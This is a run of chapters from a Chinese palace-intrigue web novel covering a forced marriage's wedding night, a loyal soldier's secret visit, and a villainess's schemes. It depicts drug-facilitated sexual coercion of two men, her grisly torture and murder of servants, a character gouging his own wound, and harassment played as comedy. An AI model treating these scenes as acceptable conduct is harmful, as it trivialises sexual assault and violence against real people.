“万宸,你听,她终于笑了。只要她开心,我就开心。”
万宸欲言又止,想说“接下来我要说两句话,你可就不开心了”,却又不敢说,硬生生等颜十九沉醉在那笑声好一会儿,准备迈开步子进屋时,他才赶紧将颜十九拦下。
迎着颜十九不悦的目光,万宸眼睛一闭,心一横,小声道:
“南璃君刚派宫人来传话,说有急事要您入宫一趟。”
颜十九听罢,果然脸色一沉,盯着万宸的目光像刀子一样锋利,浑身上下连头发丝都写着“想杀人”。
万宸不敢抬头去看,当然不用看也知道颜十九会是什么表情。
这新婚之夜,颜十九期待了多少年自不必说。
在别人看来,不过是简陋敷衍的婚仪,可颜十九却是实打实叫人从东炎把皇后才能穿的宝石凤凰袍拿了过来,特意缝在那霞帔里层。
对颜十九来说,这就是他与云琛的婚礼。
虽然目前还得以“朋友”身份与云琛相处,要循序渐进、一点点软化吞噬云琛的心。
可这新婚夜,他怎么也要搞点“微黄”的东西出来才满足,哪怕是逗逗云琛也好,若云琛生气,他就推脱说喝多了。
可南璃君这命令,却实实搅黄了颜十九的大好事。
说有什么急事,显然是骗人的,是不想颜十九与云琛过夜而已。
即使颜十九假装不举,对于南璃君来说,也是她无可替代的爱人,她怎舍得爱人与别的女人入洞房?
要知道,自从云琛入府,南璃君就不止一次跟颜十九提过,要送几个宫人来伺候。
名为“伺候”,实则想“监视”颜十九与云琛。
但全都被颜十九冷着脸,以“阿璃,你不信任我么,我最讨厌被怀疑”为理由,挡了回去。
这份占有令颜十九烦躁又厌恶。
而寝屋里云琛的笑声,则悦耳如仙音,像柔柔的小手一样勾他的魂。
想想还未彻底完成的霸业图谋,几番权衡之下,颜十九最终咬咬牙,扭头往外走去。
第462章 逃婚
颜十九身边的小厮来报,说颜十九有重要急迫非去不可的可能要命的生死大事要入宫一趟的时候,云琛正和兰倩、小月儿一起啃蜜酿鸡翅。
云琛已脱去那沉重的凤冠霞帔,坐在小饭桌前咬着脆骨,不在意地摆摆手:
“知道了,告诉他不用急,不回来也行。”
她装出一副浪荡公子哥的模样,一左一右揽住兰倩和小月儿肩膀,学着颜十九平时的样子坏笑:
“嘿嘿,今夜就让这二位小娘子陪我洞房吧。一会儿,咱仨先嗑瓜子、看小人书,就现在特火的那个什么《挖坟笔记》,我从前和宋俏俏可喜欢看了;然后打会儿牌,再上床睡觉。”
望了眼那铺着大红色喜被的好大一张床,兰倩和小月儿羞红了脸。
兰倩将两个枕头拼在一起,又把唯一的那床喜被铺好。
小月儿本来想拒绝,觉得这样太不合规矩,万一颜十九回来看见,肯定要生气,但架不住云琛耍赖,硬将她摁在床上好一顿挠痒,直到她求饶才放过,
三个姑娘嘻嘻哈哈有说有笑,一直闹到后半夜,才裹着被子,说着悄悄话,慢慢睡去。
兰倩依偎在云琛怀里,第一个睡着,还打起了轻鼾。
云琛许久没有放松过了,也很快迷迷糊糊睡着。
小月儿却无法入睡,心里不停地想霍阾玉:
要是二小姐瞧见,她深爱了那么多年又决绝放手成全的云琛,如今被迫嫁给颜十九,就连新婚夜都要被故意抢走。
若知道云琛过得这样委屈,二小姐不知道得多难过......
也不知道二小姐如今过得好不好,一个人在道观里,谁照顾她呢?
每次写信过去,想要去道观照顾,二小姐都推辞了,要不要直接找过去?
以二小姐的性子,只要好好求一求,她会答应的。
其实小月儿都知道,二小姐是不想连累小月儿在道观蹉跎一生罢了……
小月儿边想边偷偷抹眼泪,翻来覆去怎么都睡不着。
因此,当不远处,寝屋的窗扇被悄悄推开,一个高大的黑影无声无息地跳进来时,小月儿一下就发现了。
她瞪大眼睛看着蒙面而来的“黑影”,刚张口想尖叫,那“黑影”却比她快一百倍,直接冲过来捂住了她的嘴。
小月儿只能死命用手拍旁边的云琛。
那“黑影”情急之下,只能一掌将小月儿打晕。
此时云琛已醒来,睁眼立即与“黑影”厮打在一起。
刚交手没两下,“黑影”急忙扯下脸上蒙面,露出俊朗的脸孔,低低喊了声:
“老大!是我!”
“荣易?”云琛停下动作。
她仔细打量,只短短几天功夫,荣易瘦了一大圈,头发也不好好梳,英俊帅气的脸上胡子拉碴的,两个眼睛下面泛着青色,一看就是在军中日子不好过。
不明白荣易为什么这个时间、突然一身夜行衣地出现在这里,大概是最近遭遇打击太多的缘故,云琛心头一沉,惊问:
“怎么了?是不是出什么事了?你们不是在酆都山演习整编呢吗?怎么突然跑来这里?你和罗东东还好吗?段捷和伏霖呢?出什么事了?”
面对这一大串问题,荣易舔了舔干裂的嘴唇,作了个“等等”的手势,眼神四扫,冲到被仨姑娘造的一片狼藉的矮桌前,拿起壶奶酒一饮而尽,才觉得缓过来些许,但仍旧气息不太平稳,道:
“没出啥事,老大你放心。罗东东在外面放哨呢,段捷和伏霖还在酆都山,请不上假,出不来。”
我们四个人没日没夜,赶着完成了所有演习任务,才换来我和罗东东可以来看你的机会。
这句话,荣易没有说,他不想云琛心里难受,只从怀里掏出一个大红色的精致小礼盒,咧嘴笑道:
“老大,你成婚,我们怎么能不来吃酒?这是我们几个凑份子买的贺礼,你瞅瞅喜欢不?”
云琛接过礼盒,打开来,是一对赤金镶宝珠的耳环,很俗气,但很贵,是那四个大老爷们儿的习惯审美。
她拿起耳环戴上,想哭又想笑。
笑的是,这耳环好丑。
哭的是,这几个傻小子怎么那么傻,明知是个无关紧要的婚仪而已,却怕她孤单难过,那么远巴巴地跑来。
且看荣易一身尘土、喘个不停就知道,定然是一路不停地骑马跑来,至少要两天两夜辛苦。
云琛擦擦湿润的眼角,觉得最近实在哭太多了,得忍住,问道:
“你俩干嘛不递名帖进来呢,穿夜行衣潜进来,万一被发现,误会成刺客怎么办?这颜府的守卫厉害着呢!”
“算了吧。”荣易憨憨一笑,“你如今不好过,那关于女子的新律例又都是畜生条款,就别给你再添麻烦了。这些守卫是厉害,我和罗东东绕了两个时辰才找到机会溜进来。”
云琛感动到无以复加,不知道说什么才好。
沉默良久,她低下头,小声问:
“荣易,你恨我吗?人人都说,我应该带着狮威军和虎威军造反的,就不会是今天这局面了,你们也不会沦落到这般地步......”
荣易瞪大眼睛:“开什么玩笑?造反?和同胞动手?你是那种人?”
荣易明显不是安慰云琛,而是真的这样想,骂道:
“谁他娘说这话,谁就是不懂你的糊涂蛋!别理他们!”
云琛感到安慰,朝荣易笑笑,却不知道该怎么接话。
两人一时相顾无言,荣易突然冒出来一句:
“老大,你要不要跟我走?”
“走?去哪里?”云琛茫然。
荣易更茫然,挠挠头,一脸纠结的样子,显然又头脑一热,心里蹦出这想法,嘴巴就说出来了。
“我也没想好去哪里。但是我知道,你只该是‘霍夫人’,不该在这里。只要你想,我可以想尽一切办法带你逃出京都!去任何你想去的地方!”
云琛苦笑,想说“逃婚?出走?只怕引起皇上大怒,不知道又有什么威胁等着我,况且阿念还在京都,我怎么舍得……”
可话到了嘴边,她又没有说。
她太了解荣易了,被贬去当普通将士他不在乎,狮威军和虎威军没有了,他也能接受。
但如果她将那委屈明明白白说出口,以荣易对她的生死战友情谊,按那热血上头的性子,不知道要大闹什么天宫才罢休。
所以最终,云琛只是笑笑:
“没事,颜十九是我很好的朋友,在这里有他照顾,我很好。”
看出云琛的强颜欢笑,荣易默然很久,神色忽然变得特别落寞。
“老大,没有别的,我只是觉得,你这么好的人,不该是这样的结局。”
这么好的人,做将军的人,从今往后,只能困在这深宅大院里为人妇了吗?
他想大喊:“你是让敌人闻风丧胆的云老虎啊!你是属于天地的自由的鹰啊!凭什么是这下场!”
他替云琛难过,为她心疼。
从没想过,他这辈子能有对着一个漂亮女人不动心的时候,满心只想和她拜把子,为她战斗,为她去死,想将自己的命和她牢牢捆在一起。
“老大,如果有一天你想走,想离开这里,叫人告诉我。我永远是你的兵,永远站在你身后。”
最后离开之前,荣易这样说了一句,随后身影消失在黑夜里。
云琛探身从窗子望去,只能看见两道黑影在屋脊上疾行。
察觉到她的目光,一直望风没能进屋的罗东东回过身,抬起仅有的一只胳膊,朝云琛用力挥舞,那呲起来的一口白牙,在黑夜里特别显眼。
“臭小子们……”
云琛擦擦鼻涕,转头看见小月儿还瘫倒在床边,赶忙过去将人安顿好。
再看兰倩,从头到尾就没醒过,睡得跟小猪一样沉。
云琛为两人盖好被子,然后定定地在榻边坐了很久很久。
第463章 一万次
云琛在榻边坐了很久很久的时候,霍府的栖云居里,正上演着她不知道的折磨。
自押解回霍府后,里三层外三层的守卫,就将这华丽的府邸,变成了一座密不透风的牢笼。
几乎所有霍帮护卫和仆从们都被遣散,只留了大亲卫陆良清点、交付霍帮财权。
侍候的仆人里,润禾不肯离去,自愿留下。
再有就是一个伙夫,一个杂役。
短短几天时间,无人打理的花园全长出杂草,池塘里原本肥硕欢快的锦鲤,也很快翻着肚皮,飘在水面上。
从前热热闹闹的霍府,现在到处冷冷清清,安静得像座鬼屋一样。
栖云居的院墙上,阴冷的雪藤以惊人的速度疯长,占满了整个院墙、窗户。
在那几乎透不进光线的阴暗寝屋里,一道瘦削的人影终日静**着。
霍乾念的双手双脚仍然戴着沉重镣铐,早将手腕脚腕磨得红肿溃烂、结痂、又烂……
被飞刃扎伤的膝盖处,裹着厚厚的草药布巾,渗着好像永远也止不住的血。
原本云琛和霍乾念一样,都是戴着镣铐被押解出宫的。南璃君将两人镣铐的钥匙分别给了颜十九和知罗,将这管控权给二人。
显然,知罗完全没有要为霍乾念卸去这沉重束缚的意思。
如果仅仅是这样,也就罢了。
霍乾念还看着十分虚弱,连抬手去拿杯茶的力气都没有,是每日还要被灌下软筋散、防止他动用武力的缘故。
整个屋子里,日日弥漫着一种腐朽、颓废、破败的气息。
今夜,则额外添了一股奇异的甜腻味道在其中。
此刻,霍乾念面色苍白,紧紧咬住牙关,正努力遏制那即将喷薄而出的情欲。
销魂一笑的药性几乎无人能抵挡,霍乾念已经是异乎常人的毅力,可还是感到浑身燥热难安,越来越不受控制,望向榻边面容姣好的女子,视线不自觉游移向下,忍不住吞咽了下口水。
“别挣扎了,我是你夫人,名义上是,今夜过后,实质上将也是。”
知罗不紧不慢地将药瓶收起来,拿在手里把玩,美丽的面容上,是蛇蝎般的笑容:
“今夜,他们大婚洞房,你我也洞房吧!”
霍乾念没有说话,只是死死盯住知罗,汹涌的情欲之下,全是愤怒与杀意。
知罗全然不在意他什么情绪,颜十九给她销魂一笑,她照办就是,哪怕她自己也觉得恶心。
不过只要一想到,那个让她曾经无比心动爱恋过的“少年将军”,此刻也和她一样,要任由不爱的男人蹂躏,她又觉得特别痛快。
不知道,若云琛听见霍乾念与她圆房的消息,会不会震惊崩溃?
想到这里,知罗忽然有些迫不及待,故意走到离霍乾念很近的位置,近到他已可以清晰地闻见她身上的脂粉香味。
她一件件慢慢褪去衣衫,主动贴向他。
霍乾念的意志在拼命闪躲,可身体里每一滴血液都在沸腾,亟待释放,不自觉往前迎合。
他呼吸变得无法粗重,滚烫的汗水不停从额头上流下来。
他盯住那近在眼前的纤细、白嫩的小腹,试图移开目光稳住心神,知罗却抬起柔若无骨的胳膊,水蛇一样紧紧环住了他的脖子。
“霍乾念,这世上,应该没有人比我更恨你了吧?”知罗慢慢弯身,贴近他唇边,笑得放肆又阴森:
“过了今夜,恨也会变成爱哟,让云琛也体会下被背叛的滋味吧,她会喜欢的。”
说罢,知罗主动去吻霍乾念,却被他用尽全力躲开。
擦着那充满诱惑的香唇而过,霍乾念感觉气血疯狂上涌。
他用力推开知罗,拖着受伤的腿,艰难地往后退,从牙缝里挤出一句话:
“滚……你这疯子!”
“疯子?哈哈哈哈——”知罗放声厉笑,“你是第一个当面叫我‘疯子’的,好新鲜呢!”
其他人,满宫的宫女太监们,都是背地里才敢这样叫她。
说起她的名字,还要用“那个谁”来代替。
为什么呢?
大概是因为她用铁锹一下下将范吉安剁成肉泥之后,就迷恋上了**的感觉吧。
她接管下百兽园,平时一面做女官,向上迎合讨好南璃君,一面将这皇宫当作狩猎场,日日搜寻她喜欢的“猎物”。
先折磨,再分尸,最后尸块扔进园子里喂给野兽。
有时候兴致来了,也会直接将某个小宫女推进虎豹园,津津有味地观赏群兽将美人儿分食。
只有这样,她才能熬住被颜十九和万宸压迫、驱使、殴打……毫无尊严的被当作奴隶的日子。
只有别人痛苦,她才能感到愉快。
若能让云琛崩溃绝望,她将感到无比兴奋。
想到这里,知罗直接扑向霍乾念,试图吻他。
霍乾念躲闪不及,只能用胳膊阻挡,拼命咬紧牙关,挣得脖颈上青筋暴起,双目都开始充血。
只可惜,软筋散的药效让他虚弱无力,销魂一笑令他意志就快崩溃。
看着窗外夜色黑沉,他明白,这长夜漫漫,被迫屈服是早晚的事,他必须要想法子控制身体,让自己清醒!
想到这,他不再阻挡反抗,任由知罗柔软的身子覆上来。
感受到霍乾念身子随之一震,发出有些痛苦的闷哼,知罗为此感到痛快,想要彻底施展时,却突然感到身上一片滑腻潮湿,一股浓重的血腥味钻进鼻子。
她停下动作,奇怪地看过去,瞬间睁大了眼睛——
只见霍乾念身子未动,手指却伸进膝盖上那满是血迹的草药布巾底下,手指深深地抠进伤口,将那被飞刃贯穿的血洞,再次狠狠插捣得鲜血淋漓。
血汩汩地从他膝盖上冒出来,流的到处都是。
他疼得脸色惨白,浑身不住发抖,冷汗几乎要将衣服湿透。
他的脸色那样灰败,可那双已彻底清醒的凤眼,里面竟全是冷冽又高傲的光彩。
他疼得身子微微痉挛,说话都断断续续,语气却格外轻快有笑意:
“我是没有力气打打杀杀了,可只要有这伤口在,我可以......再这样……做一万次......你有多少销魂一笑,尽管拿来。”
重新夺回身体控制权的霍乾念,一瞬间令知罗感到压迫。
他那和从前一样淡定自若、天下尽在掌握的气势,令知罗从心底感到恐惧。
她忍不住后退,一不留神跌下床榻,胡乱拿起衣裙穿上,脸色难看到了极点。
“你比我疯多了,霍乾念!”
扔下这样一句话,知罗黑着脸,大力摔门而去。
与此同时,另一边。
荣易和罗东东穿着夜行衣,潜入颜府又离开后,站在空荡荡的大街上,感到有些茫然。
他们在京都御赐的将军府,早就被没收了,所有财产也尽数充公。
俩人赶路疲惫,不想这么快回酆都山的营地,可既无落脚处,身上也凑不出二两银子,该到哪儿去呢?
好在荣易的老相好多,都是对他死心塌地的,哪怕荣易如今被免职,身上一个铜板都没了,那些相好也还是恋着他。
“你想好了没有,去谁家啊?红桑?连翘?水仙?你特娘真是个养花的!
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”罗东东抱怨,揉着瘪瘪的肚子,“俺饿了,又困又累,你赶紧想吧!”
荣易翻着眼睛想了好半天:
“去紫苏家吧,她那独门独院,安静,少有人来,不给她惹事。”
有了目的地,两人马不停蹄而去。
荣易熟练地翻墙跳进院子。
罗东东一条胳膊不方便,骑了两天马又累,还等着荣易给他开门呢,结果就听见荣易直接进了屋子,随着一声娇滴滴又迷迷糊糊的“哎呀”声响起,屋门“啪”一声就关上了。
罗东东愣了一下,气得直骂:
“狗东西!见色忘友的狗!”
他忍不住踹了院门一脚,门没开,但从里面抛出个鼓囊囊的钱袋子。
荣易压低嗓音在里面喊:“你先找个地方吃点喝点去,一个时辰——不,两个时辰以后再回来!”
知道荣易那厮肯定要忙活一会儿那点事,罗东东骂骂咧咧拿起钱袋,悠哉地找酒馆去了。
只是到处找了一大圈,因为如今的新女子律例,夜市上几乎见不到姑娘,全是一水儿的老爷们在喝酒、吹牛、打架,吵吵闹闹的,特没劲。
罗东东专门挑了个人少的临街酒铺,点了三斤牛肉,一碟油爆花生米,一盘清腌芥菜,风卷残云吃了个干净。
肚子里踏实了,人也跟着踏实下来,随后又灌了二斤白酒下肚,顿时从头到脚通体舒泰,来到了喝酒最妙的层次——
即醉而不倒,整个人舒服的飘飘然,一点难受劲都没有。
罗东东拿袖子擦擦嘴,望着街上甩手走路的行人,又看看自己空空的一只袖管,轻轻叹了口气。
自从失去胳膊以来,罗东东就陷入了一种极其拧巴但又不好说的日子。
按道理,因伤残疾的将士,因为不能再和从前一样作战,全都要领了抚恤金回家。
而罗东东则凭云琛的力保,硬是留了下来。
为了不辜负云琛,也不想让旁人看扁自己,罗东东咬着牙完成和别人一样的训练任务,日常吃喝拉撒,从来不让人帮忙。
军中也从没有人轻视过他,甚至以荣易为首,天天想着法子拿他断臂开玩笑,当作普通人一样对待,就为了让他心里好受些。
但罗东东不傻,周围人玩笑的时候刀子嘴,真有事的时候,上战场的时候,全都默契地在一旁照应他。
罗东东既感激,又愧疚,继而慢慢开始自卑,觉得自己是虎威军的负担,是云琛的累赘。
他想过请辞,可说不出口,舍不得放弃军籍,离开那待了十几年的军营,离开云琛这样好的将领。
他想继续坚持下去,可就必须要一辈子承受别人的帮助和恩情,自己却根本还不起。
这些纠结又痛苦的情绪,罗东东从来没对任何人说过。
他一杯接一杯地喝酒,一声接一声地叹。
这时,一辆马车由远及近,停在了他面前。
“罗营长?”
这故人称呼加上熟悉的女声,令罗东东抬头看去。
华丽的马车轿子里,轿帘掀起一角,露出半张似笑非笑、勾人心魂的美人脸。
知罗的朱唇一张一合,像有魔力似的,吸引罗东东不自觉上前,一股奇异的甜腻钻进他的鼻子,勾起他身心的燥热。
他那最后一丝清醒神智听见的,只有知罗柔媚入骨的声音:
“罗营长,夜深露重,你要去哪里?我送你吧。”
随后,马车在街角深巷里停了整整一夜,车身吱呀吱呀晃动不停,车前的金铜双铃来回摇摆,发出清脆的混响。
美人香汗化作红雾,消散在初雪的冬夜。
第464章 办正事
这夜的京都光怪陆离。
有人在颜府的陌生寝屋里,抱膝坐在榻头,眼底滚动着久久不散的雾气。
窗外掠过画眉鸟未眠的颤音,调子忽近忽远,显得夜色格外清冷。
有人颤抖着满是血污的手,一圈又一圈为自己的膝盖重新包扎,时不时停下来望向窗外,透过窗棂上藤蔓的缝隙瞧着月亮,眉间痛苦散去,神情温柔极了,好像在凝望一张比月还皎洁的脸庞。
有人在开满紫苏的温房里酣睡,有人跌入命运精心编织的、如蛛网般的致命美丽陷阱。
还有人终于在凤驭天殿应付完一夜的逢场作戏,急匆匆整理着衣服往外走。
“马车呢?快些!”颜十九黑沉着脸,不耐烦皱眉:“马解下来给我!我骑马回去更快些!”
甚少见颜十九真实情绪溢于言表的样子,万宸急忙牵马过来,看了眼已经泛起晨曦的天空,心说:
“别了吧,现在急死忙活回去也来不及了,云琛估计都吃完早饭了......”
但他不敢说出口,这本该属于颜十九和云琛的新婚夜,被嫉妒心极重的南璃君故意搅了,颜十九早已心烦得要死。
这个时候万宸要是敢说那些,无异于主动求死。
说实话,就连万宸都没想到,颜十九都用药物压制情欲,假装不举了,南璃君还是不肯放过,整整一夜想尽办法缠绵,试图让颜十九“好起来”。
颜十九耐着性子配合演戏,但整个过程心不在焉,一直暗卫值守的万宸从旁看得清清楚楚。
他有点担心,颜十九乍然得到云琛,好像隐隐有点要失控的样子。
像一个小孩子,终于得到了心心念念期盼已久的珍贵玩具,高兴得满脑子什么正事、什么伪装和图谋都忘了,只满心迫不及待地想快回去,好好玩一玩。
好在颜十九不是什么放纵之人,驾马疾行至府门前的时候,他自己也意识到太性急了。
等了那么久,还怕再多等等?万不可吓着云琛,激起她戒备心。
他气喘吁吁下马,整理冠帽和衣衫,擦拭额头的汗水,一直到气息都平稳了,才大步流星往寝屋而去,边推门,边用平常轻松的语气笑问:
“我夫人起床了没呀?小云云,等我一夜,无聊坏了吧——”
颜十九说着话走进屋子,与正叼着螃蟹腿的云琛对视上。
她面前是满满当当一桌美味,有热腾腾的羊肉锅子,呛爆牛肚,酸辣粉汤,还有一个比脸盆还大的青花瓷盆,里面是摞得小山一样高的清蒸苏雪蟹。
她与兰倩、小月儿围着小桌,吃喝得正热闹。
这一点不亏待自己的样子,给颜十九看愣了。
他伸头看了眼外面的天色,极其不确定地问万宸:
“这是早上吧?卯时?”
万宸点点头。颜十九不可思议地挑挑眉毛,啧啧笑叹:
“谁家好**清早吃这些?”
说完,颜十九抬腿掀袍,坐了过去。
兰倩和小月儿早就极有眼色地起身让位,恭敬并有些惶恐地站在一旁作侍候状。
颜十九在满桌荤腥爆辣里看了三遍,瞧云琛啃蟹腿啃得津津有味,他便卷起袖子,从大瓷盆里徒手拿起一只雪蟹,开始耐心地剥了起来。
云琛不觉得有什么,和颜十九认识这许多年,曾经“坦诚相见”都差点有过,同桌吃饭不算事。
她很自然地用沾满羊油的手,捏来一盏姜醋汁放在颜十九面前。
一旁的万宸眼睛都瞪大了。
颜十九打小东炎皇宫里生养,虽不得东炎皇帝喜欢,但到底是正经八百的尊贵皇子,且母妃受宠,一般人不敢轻视他。
即使到了楠国来图谋大业,走到哪里也都是数百暗卫、护卫、仆从照顾,可从来没有干过剥螃蟹伺候人这种活。
而且颜十九最讨厌异味,什么羊肉骚味,虾蟹腥味,闻到就皱眉想吐。
螃蟹从来不能整只带味地端到他面前,都是下人们细细剥完,温在黄酒里,才能呈上。
所以此时此刻,看着颜十九哼着小曲愉快拆螃蟹的样子,万宸眼珠子差点瞪掉下来。
颜十九拿着锤、镦、钳、铲、匙、叉、刮、针,细细地拆螃蟹,拆出来的螃蟹肉,摆在盘里是副螃蟹样子,留下的壳也完完整整是个螃蟹形状。
云琛忍不住点评:“你这手法倒是斯文又细致,但是太慢了,等你搞完一只,我都吃完一锅了。”
颜十九顺着云琛的话看过去
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——
只见云琛吃螃蟹,抓起一只,毫不留情地掀开盖,“咔嚓”一声从中对折掰开,一手攥着螃蟹腿,咬出半边肚肉,小嘴轻轻努动,吐出细小透明的碎皮,然后又“咔嚓”拽下腿,挨个对准蟹腿孔隙,白白嫩嫩的腮帮子一嘬,就将里面的肉嗦出来了。
眨眼功夫就将一只螃蟹吃得干干净净,只不过到处都是碎屑,有点给螃蟹**的意思。
她这“武将吃法”给颜十九看乐了,弯着眼睛,笑道:
“再吃一只,让我好好瞧瞧——小东西啃螃蟹怪有意思的。”
云琛摇摇头,“不了,饱了。”
“雪蟹虽肥美,但一只才多少肉,这就饱了?”颜十九打量满桌菜,除了几只螃蟹,其他的羊肉锅子什么的,都是只动了几口的样子,看起来还是兰倩和小月儿吃的。
他忽而咂摸出几分滋味。
以他对云琛的了解,即使经历这么大变故,眼睁睁看着霍乾念另娶,她自己被迫令嫁,她也绝不是自怨自艾从此一蹶不振的那种人。
只要霍乾念没有移情别恋,云琛就觉得他们两两心意相通,未来还有希望。
她会想着办法让自己打起精神,比如像现在这样,弄上一桌最爱的吃食,努力让自己吃一些。
可惜,情绪低沉到极点,胃口实在难开。
云琛的面容苍白而倦怠,眼下有淡青的阴影,一看就是很久没有睡过一个踏实好觉。
那双惯常清亮如泉的眼睛,此刻被一层黯淡的雾霭所笼罩,眸光游移不定,透出隐隐的惶惑。
她自己也许未曾察觉,但颜十九清清楚楚看到,她的脊背始终是紧绷的,像一只被突然逐出巢穴、被迫来到陌生领地的幼崽,浑身上下都写满不安。
颜十九眉峰倏聚,眼神低沉两分。
他不喜欢这样沉闷又忧郁的云琛,这不是他想要的那个云琛。
尤其在想到,云琛这所有情绪里,十之**都是关于霍乾念,颜十九就特别烦躁,心里直冒邪火。
那就不要给她空隙去安静,不要让她有机会去想念别的男人。
想到这里,他眯了眯眼,肃下面容,语调轻冷道:
“饱了就好,那我们该办正事了。”
第465章 红墨
颜十九一脸严肃地说要办正事,云琛不解。
“什么‘正事’?”
“昨夜该办没办的事情呀!”
“啥?”
云琛疑惑,却见除了万宸跳上房梁,隐入暗卫值守的阴影,其他兰倩、小月儿和仆从们,全都低头退出了寝屋。
兰倩和小月儿一脸无奈、心疼地看向云琛,却不得不关严了房门。
云琛茫然看着安静又空荡的屋子,瞧瞧颜十九正经的脸色,目光继而落在一旁——
那衣架上的凤冠霞帔。
她立刻明白了颜十九说的“那事”是什么,脸腾地红起来,刚张口想骂人,颜十九却嗓音低沉道:
“云琛,帮我磨墨。”
“......”云琛骂人的话都到嘴边了,一下子憋住,只能红着脸走到摆满笔墨纸砚的桌前,看似淡定地磨墨,心里想的却是:
原来不是说“洞房”的事啊,真尴尬......
她兀自消解着心里的误会,颜十九却从不远处一堆交杯酒、桂圆红枣什么婚娶物件里挑挑拣拣,拿了一卷东西出来,铺在桌子上,正襟危坐,执笔道:
“我要红墨。”
“哦哦好的好的。”
因着那点尴尬误会,云琛没有一点不耐烦,手脚麻利地又拿出红墨细细研磨,好奇问:
“干什么要用红墨?还有你桌子上这块白绢布,方方正正的,就座垫那么大,能干啥?作画吗?”
颜十九没有回答,一脸严肃地看了云琛一会儿,然后伸笔润饱红墨,开始在那块白布正中央落笔。
他这煞有其事的样子,给云琛整得好奇又有点紧张,不停伸头往那块白布上打量,瞧那红色笔迹一坨一坨的,毫无章法和形状,看不出是在画什么。
但见颜十九那皱着眉头格外认真的样子,云琛又不好笑话,只能小声问:
“你画的这......看起来跟血涂在上面似的,好奇怪哦,到底画啥呢?”
此时颜十九终于“作画”完成,身子微微后仰,打量“画作”两眼,满意地点了点头,道:
“画你呀!”
“我?”
云琛指指自己,更奇怪了。
她凑近那“画作”去看,眼睛都快瞎了,也看不出个人样。
她努力将眼睛睁大、再睁大,试图从那一坨坨红色里找到自己的鼻子和嘴巴啥的,未曾注意到离画太近,离颜十九也近。
颜十九轻轻往后扬了扬下巴,避免蹭到她额头,垂眼笑看她近在咫尺的白嫩侧脸,小鬓角毛茸茸的,看得他心里头发痒。
他忍着不表露,同时使劲憋住笑。
云琛看了又看,看了又看,最后放弃了:
“我懂了,你是抽象派的。这太高深了,我实在不明白。”
“不抽象,我写好‘画名’你就知道了。”颜十九说着,真的抬笔在白绢布上龙飞凤舞一阵。
云琛再次凑过去看,是“云云小少女”五个字。
“什么意思?”云琛又不懂了。
这五个字说怪有一点,说暧昧也有点,怎么看怎么不对劲。
她正疑惑时,颜十九咳嗽两声,用清嗓子掩饰就要喷出的笑声,又道:
“你把手臂伸出来,我再写一个,你就明白了。”
云琛好奇得厉害,立马撸起袖子,将胳膊伸过去。
颜十九随即用冰凉、柔软的笔尖,触在那比白绢布还洁白的皮肤上,一字一字写下:
云云小少妇。
云琛看看画,看看自己胳膊,来回好几遍,终于从“少女”和“少妇”两个不同的字眼,外加颜十九隐隐抽搐的嘴角中,察觉到了不对劲。
她彻底反应过来,脑袋里“嗡”一声炸开,脸色“唰”地就红透了。
颜十九再也绷不住,毫无形象地捧着肚子放声大笑:
“哈哈哈哈——我家夫人到底反应过来了?哈哈哈哈哈——”
云琛气得脑门子发胀,直接一把锁住颜十九脖子,将人从椅子上拖起来,狠狠一个过肩摔扔在地上,大骂:
“你这狗东西!!蹬鼻子上脸是吧?腌臜人越来越过分了是吧?老子今天要好好看看,到底是你的八字硬,还是我拳头硬!”
云琛恼极了,下手力道贼重。
颜十九一点不还手,还故意在她拳头挥来时身子后倾,长腿一伸,用脚尖勾住她脚踝轻轻一带,她整个人就跌进了
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他怀里。
她用力挥舞拳头,劈头盖脸打着。
他嘻嘻哈哈,一脸贱贱又风流。
“混账东西颜十九!告诉我的拳头!你是不是活腻了??”
“哎哟不怪我呀——你我这成婚是皇上赏赐,宫里的嬷嬷要来收落红的帕子呢!你要觉得这样不行,不逼真,那咱俩试试,搞点真的出来?”
“颜十九!!!你再胡说八道我拧掉你的头!!!”
“啊啊痛痛痛……夫人轻些轻些,我受不了了……”
“闭嘴!!!把你那要死的骚语气给老子放正常点!!还有!!这里没外人!!不许喊我‘夫人’!!”
“好好好知道了,那喊什么?‘小亲亲’?‘小心肝’?‘小娘子’?啊啊啊……错了错了!不说了啊啊——”
“万宸!!你出去一下!!我要杀个人!!!”
“不要了吧,杀了我,你就成小寡妇了,以后谁给你暖床啊啊痛……”
云琛挥拳不停,颜十九嘴贱不停。
看着两人纠缠在地上难舍难分的样子,万宸识趣地悄悄退下。
这些年为颜十九做贴身暗卫,就是他和南璃君那啥时,万宸都没离开过十丈远。
虽然皇宫内戒备森严,但好在南璃君身边没暗卫,也算好隐藏。
但眼下嘛,瞧颜十九那半真半假的呼痛,一脸享受的样子,万宸知道,这会就是天王老子来,也别想把颜十九从这寝屋拽出去。
万宸忍不住心里啧啧两声:
皇上,您还记得您是东炎的皇帝不?
咱东炎的帝后就这样?跟俩光屁股小孩打架一样?
内心戏归内心戏,万宸脸上还是保持古板严肃的,轻手轻脚退出屋子关好门。
寝屋里,不知过了多久,等云琛终于打够,打累了,瘫在地上大喘气。
颜十九擦擦鼻血,支起青一块紫一块的身子,再次嘴贱笑道:
“对了,给我说说,你肚兜什么颜色的,穿多大号?免得回头人家问我,我答不上来。算了,我自己来瞅一眼吧,更准确些。”
云琛闭了闭眼,轻轻叹口气,单手撑地,再次翻身而起,举着拳头冲了过去。